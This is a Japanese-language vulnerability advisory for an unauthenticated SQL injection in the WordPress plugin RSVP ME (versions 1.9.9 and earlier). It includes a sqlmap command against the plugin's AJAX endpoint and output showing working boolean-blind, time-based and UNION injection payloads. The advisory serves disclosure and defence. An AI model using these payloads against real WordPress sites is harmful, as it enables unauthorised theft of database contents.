RSVP ME <= 1.9.9 - 未認証SQLインジェクション
WordPress 用プラグイン RSVP ME には、バージョン 1.9.9 以前（1.9.9 を含む）において、ユーザー指定パラメータのエスケープ処理が不十分で、既存の SQL クエリの準備が不十分なことに起因する SQL インジェクションの脆弱性が存在します。これにより、認証されていない攻撃者が既存のクエリに追加の SQL クエリを埋め込み、データベースから機密情報を抽出するために悪用される可能性があります。
$ python3 sqlmap.py -u 'http://kubernetes.docker.internal:8929/wp-admin/admin-ajax.php' --data='action=rsvp_me_event_data&id=154' --dbms='MySQL '
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|_|V... |_| https://sqlmap.org
[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is illegal. It is the end user's responsibility to obey all applicable local, state and federal laws. Developers assume no liability and are not responsible for any misuse or damage caused by this program
[*] starting @ 07:25:36 /2025-01-12/
[07:25:36] [INFO] testing connection to the target URL
you have not declared cookie(s), while server wants to set its own ('PHPSESSID=7a185a1dabb...483e996397'). Do you want to use those [Y/n] y
sqlmap resumed the following injection point(s) from stored session:
---
Parameter: id (POST)
Type: boolean-based blind
Title: AND boolean-based blind - WHERE or HAVING clause
Payload: action=rsvp_me_event_data&id=154 AND 3572=3572
Type: time-based blind
Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)
Payload: action=rsvp_me_event_data&id=154 AND (SELECT 1261 FROM (SELECT(SLEEP(5)))YwBv)
Type: UNION query
Title: Generic UNION query (NULL) - 23 columns
Payload: action=rsvp_me_event_data&id=-3481 UNION ALL SELECT CONCAT(0x7170787171,0x6953774e714b47695a61655a6772544779464c4e45707849647a4c78706f6d744e4e7067646c7463,0x717a627171),NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL-- -
---
[07:25:38] [INFO] testing MySQL
[07:25:38] [INFO] confirming MySQL
[07:25:38] [INFO] the back-end DBMS is MySQL
web server operating system: Linux Debian
web application technology: Apache 2.4.59, PHP 8.2.21, PHP
back-end DBMS: MySQL >= 8.0.0